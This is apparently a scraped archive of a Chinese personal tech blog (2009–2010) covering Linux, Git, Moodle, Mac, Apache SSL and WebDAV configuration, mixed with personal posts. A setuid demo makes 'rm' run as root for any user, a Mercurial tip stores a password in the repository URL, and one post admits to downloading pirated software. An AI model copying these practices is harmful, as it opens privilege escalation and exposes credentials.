花了三年去习惯掐着点下载的生活，TPG终于祭出了无限流量的ADSL2+宽带，历时半个月，TPG激活了ADSL服务，我的宽带算是进入人类社会了。

顺便贴一下TPG网站上的安装历史，其实中国电信，移动算个屁，要垄断还得学习Telstra：

Installation History
17:12, 01 Nov 2010 	Wait for Telstra to activate service
14:40, 03 Nov 2010 	Telstra unable to provide service
14:40, 03 Nov 2010 	Wait for failure response from customer
14:44, 03 Nov 2010 	Retry with new parameters
16:02, 03 Nov 2010 	Wait for Telstra to activate service
09:15, 12 Nov 2010 	ADSL has been installed
09:15, 12 Nov 2010 	Changed ADSL parameters

最后改到屏幕刷新频率才发现罪魁祸首：

Section "Monitor"
    Identifier     "Monitor0"
    VendorName     "BENQ"
    ModelName      "G2420HD"
    HorizSync       30.0 - 70.0
    VertRefresh     50.0 - 85.0
    Option         "DPMS"
EndSection

黑框全部消失。VertRefreshg改到50-85是安全的，但不要设的太高，不然X就起不来了。

修正 （19th，Nov，2010）

这样设置之后还是有问题，最后我把xcompmgr关掉就好了。

记录一下安装过程中遇到的问题：

• CentOS的livecd是不能用来安装的！我傻乎乎的下下来才发现不能用。但这并非不可能，需要自己定制
• 管理系统服务是用service和chkconfig命令的，还挺方便，就是bash completion不够聪明，不会在service后面直接追加服务名
• IP要在/etc/sysconfig/network-scripts/ifcfg-eth0里改，CentOS各种配置挺分散的，不像Archlinux都在/etc/rc.conf里改，one file to rule them all.
• 装完发现很多软件找不到，比如Git，查了下原来需要配置EPEL（Extra Packages for Enterprise Linux）

  rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-3.noarch.rpm
  yum update
  

  然后就能安装Git了

• PHP版本过低，这个需要加testing repo，参见：PHP 5.1 To 5.2

  sudo vim /etc/yum.repos.d/CentOS-Testing.repo

  [c5-testing]
  name=CentOS-5 Testing
  baseurl=http://dev.centos.org/centos/$releasever/testing/$basearch/
  enabled=1
  gpgcheck=1
  gpgkey=http://dev.centos.org/centos/RPM-GPG-KEY-CentOS-testing
  includepkgs=php*
  

  然后PHP就可以升级的5.2.10了

不要错过这期节目的第二部分，这么悍的Evo的某些问题也能让人笑掉大牙：Top Gear – Evo vs Lamborghini part 2- BBC

国内看不了，可以到VeryCD下载TopGear第五季第七集。

sudo ntpdate ntp.iinet.net.au

写入CMOS：

sudo hwclock -w --localtime

然后决定把战线延伸到GitHub。对小项目来说Git相对CVS的优势不明显，徒增学习曲线，但对于Moodle这种庞大的开源软件，Git却是大大降低复杂程度，最重要的一点是创建分支的成本为零，我可以单独创建新分支以开发某特性，开发过程中可以方便的与上游代码合并，之前的cvs是无法享受这种便利的，我们不得不checkout多份拷贝进行测试。另一个很重要的特点是Git在本地保存全部改动历史，这样可以极其快捷的进行diff和blame

再说说GitHub，对于项目管理来说，GitHub肯定是不如Jira，但细化到编码这个层次，GitHub比Jira好很多，首先Jira没有官方的Git支持，无法追踪相关的Git提交，然后Jira不便于Code review（可能有好的插件会支持，说错了请指正）。GitHub在这方面做的很好，可以在git commit做inline note，代码浏览比viewvc强出一个世纪。

转到GitHub后，工作效率提高了很多，我白天把改动push到我的在GitHub的分支上，然后同事做Code review，提交改动，第二天我把他的改动合并到我的分支上，然后继续昨天的工作……

Git实际上是个新的开发模型，从编码到项目管理都不同于cvs时代。

简单总结一下Git的使用以 Moodle在GitHub的mirror为例。

1. 打开 http://github.com/moodle/moodle，然后Fork，这个并不是必须的，之后可以通过git remote添加新的上游代码库
2. git clone 我自己的代码库
3. 我不喜欢origin这个默认远程代码库名，所以重命名一下：git remote rename origin github，运行一下 git branch -r 发现远程名字变了
4. 我之前fork的Moodle并不是官方的，换成官方的git源：git remote add upstream git://git.moodle.org/moodle.git，然后：git fetch upstream
5. 我要创建一个我自己的分支newfeature：git branch newfeature，切换到这个分支需运行：git checkout newfeature
6. 这个时候newfeature是个本地分支，在github上是不存在的，我得把这个分支push到github上，同事才能看到我的改动，运行：git push github，打开.git/config

   [branch "newfeature"]
   remote = github
   merge = refs/heads/newfeature
   

   如果没有就加上这段，有了这段，就可以git pull直接获取并合并，有个命令可以设置git checkout –track github/newfeature，但我觉的用配置文件更直观

7. 如果上游更新了，我就需要合并：git merge upstream/cvshead
8. 删除本地分支：git branch -d newfeature，删除远程分支：git push :newfeature
9. 一般的提交就不多说了，跟cvs之流一样，不同的是提交完了要git push才能把你的改动推送到远程服务器上
10. git可以比较分支，这样你可以比较你的当前分支和主干，生成一个patch提交到cvs里

在 ~/.gitconfig 上下点功夫，能提高工作效率，Stack overflow上有个讨论不错：What does your ~/.gitconfig contain?

最后推荐两个软件，GitX和tig，两个都是Git浏览器，前者是Mac的，后者是终端上的，对于常用ssh的人，后者有用，有效率的多。

还好能改DNS服务器地址，心想自己搭一个Bind吧，看了下那砣另类的zone文件，改主意了，弄不好就得折腾上一天。

想起DNSPod好像是干这事的，但注册一下又是邀请码又是
VIP的，还是算了吧，找到其它两个免费DNS hosting网站分享一下：

• http://freedns.afraid.org/（推荐）
• http://www.zoneedit.com/

配置很简单，在你域名供应商的网站里把DNS服务器改成新的DNS服务器地址，然后再做域名记录添改即可。

for i in ./*/repository.class.php;
do
    newpath=`echo $i|sed 's/repository.class.php/lib.php/g'`;
    mv $i $newpath;
done

单行：

for i in ./*/repository.class.php; do newpath=`echo $i|sed 's/repository.class.php/lib.php/g'`; mv $i $newpath; done

不知道还有没有更好的办法？欢迎指教。

Reference: RENAME MULTIPLE FILES IN BASH USING REGULAR EXPRESSIONS

echo -ne '\e%G\e[?47h\e%G\e[?47l'

参考：9300i Putty UTF-8 Trick

老陆今天下台了，某党自己内部内讧，党魁换成了史上首个女总理（虽然有人不同意，因为不是选出来的）。搞到现在这步，跟大闹移民政策没关系，说实在的，这政策大多数人根本不关心，留学生市场萎缩又能怎样？也不是对澳洲经济伤筋动骨的损失，受损失最大的也仅仅是开私校的而已，真正的大财主/某党代表的普通工人阶级根本不关心。最主要还是征收资源暴利税，加上船民/环保/医疗改革等等政策执行不力，近几个月，陆克文支持率暴跌，眼看着就要大选了……资源税该不该收？我觉得该（不懂经济政治，无责任评论）：资源不可再生就不说了，大家都懂。另外，这些矿业公司都不是纯澳资，政府用这种方式强行入股，也算是为了国家利益的考虑了。再一个，这个国家的经济支柱是矿业，资本都投矿业上了，导致其它行业都萎缩掉了，等资源采光了该怎么办？

只是始终想不通的是为什么老陆要这么坚决的执行暴利税，坚决到连总理宝座都拱手让人。刚看他离职的发言，觉得他也挺可怜的。

前段时间twitter上有个女人喷，某党就是好啊就是好，因为它跟穷人站在一起的，x党不好，x党是代表富人的……有想法是好事，太自以为是就不好了。这就像你爸妈当然是向着你了，一直惯你宠你，你过的貌似舒坦，但最后离了你爸妈，你就什么也不是了。这里是类似道理，某党宣称移民政策过松导致失业率太高人口激增，所以得改。大爷们怎么不去调查一下，移民都干的什么活？失业的又是怎样的人？通过降低竞争提高一般民众的竞争力，这不跟惯孩子差不多的道理？最后的结果就是穷人还是穷，还造成劳动力成本高居不下，做事效率低。总之，富不富起来，跟谁执政无关，这是个人努力和机遇的问题。还有虽然某些组织纲领是为人民服务，但其实人家只是说着玩玩，您可千万别当真了。

我高中班主任常说一句话“这世界总不能令人满意”，说得太多，慢慢成了坊间流传的笑谈，今天把这话送给老陆，送给不幸坠机的矿产大亨和生活在水深火热中的劳动人民。

然后找到了Busybox，这个东西以前登录路由器的时候常见到，总以为是个嵌入式Linux发行版，其实是一坨打包的GNU工具集，比如想用tar：

/bin/busybox tar cjvf archive.tar.bz2 folder

参数可能少一点，但少的那些也很少用到。

有了这个东西就好办了，找到一个预编译的Busybox for Android，就不用自己交叉编译了，然后用adb push到模拟器里，打开adb shell，假设Busybox装到了/data/busybox，就可以用/data/busybox tar把/system和/data打包，存到/sdcard，这样隐私文件都保存到一个img镜像文件里了，在Linux上用mount -o loop加载，Android的文件系统就一览无遗啦。

简单看了以下，Android的用户数据都是存成了SQLite文件，比如联系人是存在/data/data/com.google.android.providers.contacts/databases/contacts.db，Firefox用SQLite Manager就能打开，用户信息一览无余。

Miranda IM
Windows上最好的客户端，没有之一，很喜欢GTalk的界面，可惜它不是标准XMPP客户端，不能进聊天室。

Pidgin
各种平台通吃，没什么缺点，就是群聊的时候不能设置昵称显示格式，某些的昵称很长很长，影响阅读。胜在有大量有用的扩展，比如自动纠错，关键字高亮提醒，别的软件不是缺这就是缺那，Pidgin是唯一集大成的。

Gajim
PyGTK写的，很简洁，问题是它的用户列表设计的比较失败，用户组缩进感觉乱七八糟的。

Psi
Qt写的，跨平台，非常非常简单，连个群聊书签功能都没有，但也不是说干不了，得打开xmpp console自己输指令，它的显示界面是我最喜欢的，简单清晰，没有多余的东西，缺点是无法用tab组织聊天窗口。

iChat
我最喜欢的，不过只能在苹果上用，装上个chax可以锦上添花。

Empathy
因为Pidgin开发太慢等等问题，Gnome自己弄了一个Empathy，第一次用是在Ubuntu 10.4上，优化的很漂亮，就是没Pidgin那么多功能。

class static_var {
    function __construct($name) {
        $this->name = $name;
    }
    function output() {
        static $counter;
        $counter++;
        echo $counter.'|'.$this->name.'|';
    }
}
$t1 = new static_var('take 1');
$t1->output();
$t2 = new static_var('take 2');
$t2->output();

卖车其实很简单，到license center拿一张transfer form（免费），还得要一张包含车基本信息的Vehicle license paper（很黑，打印这张纸要$8），然后和买家添添表核对一下信息就行了。支付最好是用支票，那个买车的女士没听明白我的话，最后给的我现金 -_-，不得不跑了趟银行存钱，好久没见过真钱了。没了车还是很麻烦的，四天的假期都没法出去玩了，购物/吃东西都有问题。不过也少了很多麻烦，不用关心油价/找停车位/保养。

之前一直打算卖了这车然后换辆新车，但看到二手车这么保值有点犹豫了，新车买了是100%没法原价卖出的，买个好的二手车开起来也很爽，运气好了还能原价卖出去，相当于白开了几年。另一方面，不想在汽车上投资太多，还是攒钱买房最保值。

Anyway，先过几天没车的生活吧，不知道我能坚持多久

这个东西完全可以装在Mac上，但macport里却没有，我不想在系统里装一堆没法控制的文件，所以就用BASH函数山寨了一个，最基本的：

cg (){
    grep $1 -rn .
}

这个完全没问题，就是生成的格式难看了了点，所以又用awk完善了一下：

cg () {
    grep "$1" -rn . | awk 'BEGIN {FS=":"};{print "\033[1;31mPath:\033[0;0m "$1     " \033[0;31m"  $2 "\033[0;0m\n=> " $3}'
}

其实完全可以用awk加上trim和关键字高亮的效果，但把这个脚本变得太长就失去我本意了。

这之前我干过的很折腾的事是给诺基亚刷机配机器和手动挡安装Gentoo Linux。前者让我恶心透了诺基亚，后者虽然折腾但学到不少东西。而折腾微软的ERP，痛苦且毫无乐趣可言，且不论这个产品怎样，我只说微软的服务器解决方案真是垃圾中的战斗机。

并非是对微软的偏见，年轻时候确实讨厌微软，主要是因为自己愤青，慢慢的也想明白了，作为一个 OS，Windows 还不算太差，微软公司也算是个值得尊敬的企业，我还始终留着个装XP的电脑，玩玩游戏、上QQ、开网银、跑电驴……干这些事，Windows 比 Linux、Mac 强得多了。有人说微软搞垄断把产品价格弄的很高，那就大错特错了，其实微软现在已经够开放了，还把某些入门级产品免费提供给学生，见：http://dreamspark.com，不是开玩笑的，Windows 2008，2003，VS 2010 Ultimate都是正版免费，获取正版序列号的唯一要求就是你有个大学的edu邮箱。

好话说差不多了，言归正传。微软服务器方案相当的臃肿和难用。最搞笑的是，微软推销自己服务器的卖点竟然是易用！有个人人都熟悉的界面可以戳戳点点可不能与易用划等号！

装这个系统的原因本身就是一个悲剧，因为某大学使用微软的活动目录技术，要通过 VPN 连到学校里访问 Dynamics 服务器，这当然要走防火墙了，但据老师说这个活动目录和防火墙相处的不太和谐，莫名其妙的挡下了 Dynamics 客户端和服务器的通信，老师让我从4.0降级到3.0，还是无法正常连接。邮件来来往往二十余封，依然原地踏步走。

我想这有何难，我在虚拟机里装个 Dynamics 服务器不就行了，谁知这是灾难的开始。

到 DreamSpark 下载了 SQL Server Express (好像就是2008的简化版）Windows 2003和久违的 Virtual PC。在 Virtual PC 中装上 win2003 以后，发现严重的拖影，基本无法正常使用（已经安装了VPC的客户端驱动），于是就在 VMware server 上重新再来，这次没问题了，插上老师给我的 Dynamics 安装盘，启动，然后告诉我必须在一个有域控制器的网络里才能使用，就是说要运行这玩意还得配上活动目录，那就装吧，Easy，2003点几下就给我弄好了 DNS，DHCP 和活动目录，到这里是实实在在的比 Linux 容易，烦人的就是得重启。然后开始装 SQL Server，安装程序开始吵着嚷着让我装 Windows installer 和.Net framework 2.x，装完以后不让我继续装 SQL Server，说必须重启。

好吧……

重启完了，让我装 .Net framework 3.x……难道这两个版本还不兼容？再重启……

好……

终于装上了 SQL Server，发现连个控制台都没有，原来还得装个 xx Studio。

好……

下了一个三百多M的大家伙，启动，不让我装了，说必须装了 Power shell……

微软增强 Shell 了！？好事，所以我忍了！下载、安装……

思维定势了，重启……

装上了，继续装那个 XX Studio

然后开始装 Dynamics AX，算是顺利吧……

装上了……

但是连不上……

到服务里查，服务进程毫无征兆的死掉了，看错误日志，告诉我错误代码100……

妈的，我知道什么是错误代码100！！！谁知道？！连个文档都没有！

问 Google，说是数据库权限设置错误，于是我把 dbadmin 都加个了某用户，得到的还是冰冷冷的错误100。

于是开始了我的微软数据库之旅，装上 SQL Server 2000，告我这个版本太老了。

我想了想也是，都十年了，当年用这数据库的时候，叔我还年轻呢，伤感了一会儿，还是喝酒睡觉吧，明天再折腾……

去下盗版 SQL Server 2005，迅雷是个好地方，即使我从上面下载一千部盗版电影软件，它也能顺利拿到一个视听许可证，并且告诉大家，迅雷的正版率是99.9%，想到这我心里就一点也不别扭了，看看人家的脸皮，我用盗版又算什么？何况叔也只是试用一下而已。可能 13 亿中国人只下 0.1% 的盗版，迅雷就是这么圣洁。

我猜得到这开头，却猜不中这结局，我装上了，却还是连不上，而错误日志没有告诉我一点点有用信息。

怎么办？我开始到国内的几个 ERP 论坛研究，下载了详细到连安装 Windows 2003 都教的教程，跟我完完全全一样的环境，别人没问题，但我的就是连不上！

崩溃了……

万般无奈，又找到迅雷，下载了另一个 Dynamics AX 2009，把上面的步骤又重新做了一遍……然后，又好了……

感谢国家培养了迅雷，感谢迅雷友情提供 Dynamics AX 2009，感谢微软让我测试了如此“强大的” ERP 系统，这果然是个专家才能干的工作，我显然只是个用 XP 打游戏的水平。

这次OpenVZ的用户倒了大霉，升级 udev 以后，ssh 进不去，提示：PTY allocation request failed on channel 0。

这下傻眼了，ssh 进不去这不完了蛋了，修都没法修。

Google 了一下，有个大叔已经研究出了怎么修复，用 `ssh user@dongsheng.org ‘/bin/bash -i’` 进去，重新挂载 /dev/pts 即可，但这个办法治标不治本，系统重启就又回到原点。在 /etc/rc.d 里放个脚本就行了：

rm -rf /dev/ptmx
mknod /dev/ptmx c 5 2
chmod 666 /dev/ptmx
umount /dev/pts
rm -rf /dev/pts
mkdir /dev/pts
mount /dev/pts

文件名存为 /etc/rc.d/udevfix，然后在 /etc/rc.conf 的 DEAMON 中加入 udevfix 即可。

据悉，这个问题是由于 OpenVZ 的模板与 udev 不兼容导致的。

升级 Archlinux 要谨慎啊！！

Credits：
http://www.asteriosk.gr/blog/2009/02/20/pty-allocation-request-failed-on-channel-0/
http://platonic.techfiz.info/2008/10/13/pty-allocation-request-failed-on-channel-0/comment-page-1/#comment-11048

上次更新之后，我回国过年了，起飞前一度兴奋的睡不着，心里也明白，回国的生活还是乏善可陈，无非是吃喝玩乐，朋友聚会和父母亲人的唠叨，但家就是个让人一直惦记着的地方，我出国两年多了，其实在国外也慢慢有了自己的生活，但找不到归属感，因为在外国，没有一个叫家的地方。

回国，其实还挺不适用的，不敢上路开车，国人开车之凶悍是我开了一年多车之后才感觉出来的，在澳洲开车得规矩，换道打灯，严控车速，拐弯进转盘都得让路，停车也得规矩，不然难免被罚……回国发现要是这么开车基本上是寸步难行。可是没有车，更是寸步难行，还好国内出租算是便宜，才不至于让自己在家里憋上一个月。

见了一些朋友，但毕业三年以来，见的人其实越来越少，共同话题也是越来越少，工作的那帮人在关注跳槽、加班，上学的那帮人快毕业了关心的是找工作或者是不是应该接着读圣斗士，无论哪一种都被挤压的焦躁不堪，希望明年再见你们的时候都能轻松一些。

回去三个周自己的生活作息被彻底打乱，在东八区过西八区的时间，搞的我到现在都没有恢复过来，生活浑浑噩噩，做事也是乱七八糟，明天改整理一下近期的工作计划，不能庸庸碌碌下去了。

哎，该睡了。

Result: Starting VE ...
VE is unmounted
VE is mounted
Adding IP address(es): xxx.xxx.xxx.xxx
Setting CPU limit: 100
Setting CPU units: 1000
Setting devices
Configure meminfo: 98304
Set hostname: vzxxx.ramhost.us
File resolv.conf was modified
Setting quota ugidlimit: 1000
VE start in progress...
VE is already running

我先试用一个月，有兴趣入伙的，给我发个消息要“钥匙”

但由于要重新分区，所以得备份所有数据，我 iTunes 里的音乐已经多达 35G，备份相当费时。反过来讲，这也是我要重分区的主要目的，把用户目录转移到一个新分区，以后重装就不用重复备份数据的痛苦了。

转移目录其实很简单，在图形界面就可以做：在系统设置->用户帐号->右键点击用户名->在高级设置里就可以更改。

但我转移的时候还不知道有这么简单的办法，是在终端上改的：

1. 把当前用户目录同步到目标卷标：

sudo ditto -rsrc /Users/dongsheng /Volumes/storage/Users/dongsheng

2. 然后用 dscl 更改用户目录设置：

sudo dscl . -change /Users/dongsheng NFSHomeDirectory /Volumes/storage/Users/dongsheng

3. 删掉旧的用户目录，然后做个符号链接

sudo rm -rf /Users/dongsheng
sudo ln -s /Volumes/storage/Users/dongsheng /Users/dongsheng

注意，有的文章说要用 niutil 重新设置用户目录，但这个命令在 10.5 以后的操作系统中不存在，需要用 dscl 处理。

比 Linux 麻烦的多，Linux 只用 usermod -m 即可搞定，可能 Mac 的设计目标是鼓励用户使用 GUI 而忽略了优化终端吧。

参考文章：

• dscl manpage
• 10.5: Move a user’s home directory via the command line System 10.5

读了下 Xmarks 的文档，原来 Xmarks 是支持自建服务器的，只要给 WebDAV 和 FTP 写权限就行了，弄起来很简单，这样的另一个好处的是可以放心大胆的把密码也给同步了，记录一下启用的步骤：

1. 启用 Apache 的 WebDav 模块，Arch Linux 默认把 WebDav 设置放到 extra/httpd-dav.conf 了，在 /etc/httpd/conf/httpd.conf 中反注释掉好了，我的配置如下：

DavLockDB "/var/log/httpd/DavLock/DavLockDB"
Alias /xmarks "/srv/webdav/xmarks"
<Directory "/srv/webdav/xmarks">
    Dav On
    Order Allow,Deny
    Allow from all
    AuthType Digest
    AuthName xmarks-rule
    AuthUserFile "/etc/httpd/user.passwd"
    AuthDigestProvider file
    <LimitExcept GET OPTIONS>
        require user xmarks
    </LimitExcept>
</Directory>

2. 创建 //var/log/httpd/DavLock/ 和 /srv/webdav/xmarks 目录，设置写权限
3. 创建用户

htdigest -c "/etc/httpd/user.passwd" xmarks-rule xmarks

xmarks-rule 对应 AuthName， xmarks 对应 require user xmarks
4. 在 Xmarks 里勾上 Use own server，Bookmark URL 设置成 http://localhost/xmarks/xmarks.json，注意 xmarks.json 是创建在 /src/webdav/xmarks/ 目录下。

然后同步一下试试吧。

1. 应用 lvm 是照着 Installing Arch Linux on LVM 来的，我的分区方案是：128M 的 ext3 分区挂到 /boot，剩下的所有空间加入到 lvm 中，/var, /home, / 等使用 lvm 分区，我曾把 /etc 也弄成 lvm 分区，但启动过程中，系统找不到 /etc 里配置文件（比如 initlevel），所以慎用
2. grub 2 改了磁盘命名方式，以前的 (hd0,0) 现在要写成 (hd0,1) 了，也不算坏，终于跟 /dev 里的命名方式一致了 (hd0, 1) == /dev/sda1
3. grub 中镜像路径的问题，如果 /boot 是独立分区的话，kernel 路径是 /kernel26，如果不是就得写成 /boot/kernel26
4. 桌面换成 slim+openbox，进入 slim 以后键盘鼠标全部无效，经查是 archlinux 没有装上 xf86-input-mouse 和 xf86-input-keyboard，我真。。。把 hal 和这两个包都装上，并在 rc.conf 的 DAEMONS 里加上 hal，重启就好了，还有要 .xinitrc 中加上 exec openbox-session
5. openbox 的自动启动是通过脚本实现的，详见：Help:Autostart
6. ibus 虽然要你把几个环境变量加到 .bashrc，但不要这么干，最好放到 /etc/profile 里
7. 界面透明，在 autostart.sh 中加上

   xcompmgr -c -t-5 -l-5 -r4.2 -o.55 &
   

   xcompmgr ＆
   

   经实验，阴影效果极差，常在桌面上拖影，所以去掉

   然后 tilda 就能透明啦，用 transset 让没有内置透明的实现透明

8. 还有 archlinux 那帮偏执狂把 php 的 apache 模块分离出来了，叫做 php-apache
9. 不喜欢 openbox 的 gtk 风格，装上了 gtk-theme-switch2 gtk-chtheme 和 clearlooks-bluecurve-gtk-theme & gtk-aurora-engine
10. 今天折腾一下午，终于把系统字体改的满意了：.fonts.conf

最后，找到一篇 openbox 配置指南，慢慢研究吧。

这是我第三次申请签证了，第一次是办澳洲的学生签证，表格之多令人发指，这也可以理解，毕竟是个长达四年的签证，澳洲又不是慈善机构。这些都不算啥，最让我恶心和难忘的是某些政府部门的办事态度，花了一整天去办无婚姻证明，为了一个狗屎文件，就是不给我开证明，我打车在烈日炎炎的济南来回跑了两趟……不想提了，快三年前的事了，想起来还是很窝火。第二次是申请 457 签证，这次是简单的令人发指，公司给我提交了 Nomination 申请，我添了一个表，然后到移民局补充了一下材料，不到一周就批下来了，可能 onshore 申请更容易吧。这是第三次了，情况变得有点特别，在澳洲作为一个中国人申请美国签证，找到美国大使馆在澳洲的网站，发现申请也没什么区别。本来还担心得跑到堪培拉大使馆面试，翻了翻网站发现原来在珀斯有个办公室，网站：http://perth.usconsulate.gov/consular/visas/niv/

我简述一下申请的步骤：

1. 去美国政府网站填写 DS-160 申请表，在这一步里要上传一张个人照片，照片的要求：Guidelines for Producing High Quality Photographs for U.S. Travel Documents – for Visa Online Applications，添完以后，要把确认页面打印出来，最好把整个申请表也打印出来，备份用。
2. 定一个面试时间，使用 VisaPoint service 网站，定时间要花 14 澳元拿一个 PIN，申请完以后，打印出出确认页
3. 去邮局交 170 澳元的 VISA 申请费，不用带任何资料，跟邮局的人说我要交美国签证申请费就搞定了
4. 准备材料，Documents Checklist for non-immigrant VISA interview (L1, H1B, B1, B2, F1, M1 Visas)
   • 各种申请表，包括之前填写的 DS-160 表，Visa point 确认信，邮局的收条
   • 商务旅游需要来自美国公司的邀请信，我把 Google 的邀请信打印出来了
   • 护照照片（两寸的方形照片）
   • 一个挂号信，给你把护照寄回去用
   • 护照
   • 旅游行程，我打印出机票了
   • 税单
   • Bank statement，证明自己有财力在美国呆着

还有个官方的网站详细介绍申请签证的步骤：How to apply

然后……我周三去面试，Good luck！

Last edited 14th, Sep, 2009

今天签证批准了，明后天贴签寄给我，文档列表里的删除掉的项目的表示实际不用出示。

Perth 的领事馆搞得很防恐，先在四楼 security check，不准带手机，钥匙，搞得跟登飞机一样，搞完了让我说十三楼，真的办公室在十三楼，进去的时候又过了一个 Gate 才见到领事馆真容，找地方坐下见到一个亚洲人，我一看就是个中国来的博士，从着装（就是好学生那种打扮），举止（坐立不安），口音（坚定了我的判断）种种方面说明了自己博士的身份，跟签证官对答时说自己是 UWA 的 PhD，是到美国大学访问的，解释访美原因的时候满嘴量子物理，牛死了。

要自签证书自然需要自建的 CA 证书和你服务器的证书。

首先创建 CA 证书

1. 创建 CA 的 rsa 私钥，私钥 4096 位：

   openssl genrsa -out ca.key 4096
   

   如果要加密私钥，可以加上 -des3 参数，给私钥加上 pass phrase

2. 创建 x509 证书

   openssl req -new -x509 -days 3650 -key ca.key -out ca.crt

服务器证书

1. 创建私钥

   openssl genrsa -out server.key 4096

2. 创建签名请求

   openssl req -new -key server.key -out server.csr

3. 用 CA 证书给 csr 签名，然后生成服务器证书（既公钥）

   openssl x509 -req -days 3650 -in server.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out server.crt

修改 Apache，把下面的配置放到虚拟机配置段里

SSLEngine on
SSLCertificateFile /etc/httpd/ssl/dongsheng.moodle.local/server.crt
SSLCertificateKeyFile /etc/httpd/ssl/dongsheng.moodle.local/server.key

为了让浏览器更好的支持自建证书最好把该证书加到系统里，参见：Configuring SSL certificates on Linux

执行 ls -l /bin 会发现除了熟悉的 r w x 权限外，还有一些可执行文件有一个 s 权限位（setuid bit），这是啥意思呢？
这个 s 权限可以让文件以文件 owner 的权限运行，做个实验：

sudo touch /test
rm /test #failed! You don't have permission
sudo chmod u+s `which rm`
rm /test #worked!

可以看出这个权限位是很危险的，它可以让一个普通用户以 root 权限运行程序，所以慎用。

还有一个叫 Sticky bit，这个权限只对目录有效 chmod +t /dir（为什么不叫 s？因为已经被 setuid bit 枪了，只好用第二个字符了），一个典型例子是 /tmp，这个目录是全局可写的，sticky bit 可以让文件只能被文件 owner 删除。

这两个权限位的数字表示方法：

4000 setuid bit
2000 setgid bit
1000 sticky bit

拿到手之后终于不纠结于 Kindle DX 了，DX 可以直接读 PDF 还有一个更大的屏幕，但价格太贵，思量再三还是买了 Kindle，心想如果以后真的需要再整个大的吧。Kindle 其实大小挺合适了，我也只是打算来读读小说，并不打算读什么技术书籍。

屏幕
前面说了，屏幕不大，但读一般的书绝对够了，除非你要看 A4 大小的 PDF。Kindle 2 实际的显示效果没有在网上看到的惊艳，但确实很像一本真正的书了，翻页比较慢，会闪动一下，不太爽

键盘
很生硬，反正很少用，无所谓了

网络
本以为是内置 WIFI 网络，买了之后看网上评测才知道是 3G 网络，US only，在网上找到《Kindle 2 上手记》，就在 Archlinux 上试了一下联网，可能是内核被我编译次了，怎么也找不到 Kindle 这个 USB 设备，回家再试试吧，现在上班不好折腾

文件转换
在 amazon 注册 kindle 时可以指定一个邮箱用以转换电子书，我的地址是 dongsheng@free.kindle.com，试着转化了一下 Advanced Bash-Scripting Guide，速度还蛮快，还有一个叫 MobiPocket 的转换工具，现在没有 Windows 机器，回家再试试吧。

字典
这是我选择 Kindle 的一个重要原因，方便看英文书，用五向按钮选择文字，然后 Kindle 最下面就会显示出单词释义，不错……但还是远远不如 Treo 650 上的 vbook……

汉化和文本阅读还没法试（在办公室朗读有点猖狂），回家补上。

[paths]
default = https://projectname.googlecode.com/hg

把密码和用户名填到 URL 里就行啦

[paths]
default = https://accountname:password@projectname.googlecode.com/hg

2. 提示没有设置用户名
解决办法：在 .hg/hgrc 中添加

[ui]
username = Dongsheng Cai

Updated 24th, July, 2009
现在涨到 3 啦，好玩

2007 年底出国，这之后的每天都在奔波，上学、打工，几乎没再读过一本书。再后来工作了，以为属于自己的时间更多了，有时间读几本书了，事实是心都野了，每天不是抱着电脑上网就是往床上一躺。电脑上的电子书一坨，但坐在电脑前，想完完整整看本书真是太难了，信息干扰太大。于是开始买实体书，常去的两个网站是 fishpond.com.au 和 www.bookdepository.co.uk，前者是澳洲本地网站，所以送货速度快一点，消费五十以上免邮费，后者是个英国网站，全球免费送货，而且价格通常是最便宜的，买书前可以从 www.booko.com.au 对比一下书的价格，通常 Book depository 就是最便宜的，比亚马逊还便宜。

最近关于 kindle 2 的信息越来越多了，早已是心痒难耐，尚犹豫花近 300 多美刀买这么个 gadget 是否值得？前几天发生的事坚定了购买决心：拿回借出的几本实体书，书已经破旧的让人心疼了，想来电子书是摆脱这种痛苦的最佳办法。于是第二天就在 ebay 上买下了 kindle 2，DX 很诱人，但我想 kindle 2 暂时肯定够我用了，要是以后有这需求再买吧。

希望 kindle 2 能让我再找回阅读的乐趣。

BTW，找到一个可以追踪包裹的网站：boxoh.com，可以将包裹状态显示在 Google maps。

cvs diff file1.php > file1.patch

问题是，这个命令无法处理 CVS 中不存在的文件，即新文件，诸如 Netbeans 和 Eclipse 等 IDE 都有办法为新建文件创建 Patch（因为我看到同事发的 Patch 里有 Eclipse 的标示），其实用命令行也是能实现这个功能的。

首先要下载一个叫 cvsdo 的工具，这是个 Perl 文件，下载到 /usr/bin/ 下，然后加上可执行权限就完事了。回到代码目录，执行 cvsdo add newfile.php，然后 cvs diff -uN newfile.php > newfile.patch，这样就能可以对新文件做 cvs diff 了。这个脚本的原理就是修改了 CVS/Entries，让 cvs 以为这个文件已经在 cvs 仓库里了。注意，要给 cvs diff 使用 -N 参数，这样才能输出新文件。如果嫌 cvs diff 后面跟参数麻烦，可以创建 ~/.cvsrc

cvs -q
update -dPA
diff -uN

这样每次执行 cvs diff 就会默认加上这些参数的。

参考：

1. CVSdo
2. Creating a patch

Updated on 7th, July, 2009
补充在 Netbeans 中创建 Patch 的方法，在左边的文件树中选中修改了的文件，然后 Team -> CVS -> Export Diff Patch

Updated on 16th, July, 2009
做了一个 Archlinux 上的 PKGBUILD，名字 cvsutils，直接装上就都有啦

• 上次被追尾，车刚刚送修，幸运的是这次没有多大波折，人家痛痛快快答应修好车，修完之后还得把我划的车门修好，另外还得抽时间把那个没用的 warranty cancel 掉，等搞定了我就可以卖车换车了
• 考驾照，我已经念叨了很久要做的事，没个澳洲驾照，要是出了点事，即使不是自己的责任，也感觉虚的很，驾照是非考不可了，不能再拖了
• 表弟在这周回国（上周刚把堂弟送到机场），不但把他东西临时转移到我的住处，而且还得给他安排新的 home stay，他在这里待的一个学期惹得麻烦不断，这周得去趟学校给老师解释一下
• 学校，他妈的 ECU 给我办转学分已经进行整整两个月，发了三次 email 每次都是说让我等，严重影响我下学期的选课计划，一个月要是还搞不出来，爷就不跟你们玩了，转回 Murdoch，谁是谁大爷啊？
• 工作，最近的生产率很低，一方面是身体原因，整天对着电脑，弄得眼睛特别疲劳，看上一阵就眼睛流泪，抽时间得看看医生了，另一方面是感觉自己的工作越来越陷入重复，工作一年多了，始终是 PHP JS 的圈子里转来转去，工作忙里偷闲学了不少 Linux 的东西，但现在的职业方向非常混乱，这也是在小公司做事的弊端吧

这周尽量把乱七八糟的事都搞完，周末得给下半年做个打算了。
国外的生活是很单调，也没有多少选择的自由，但现在任何积极的改变都是再为以后的我创造更多的选项。

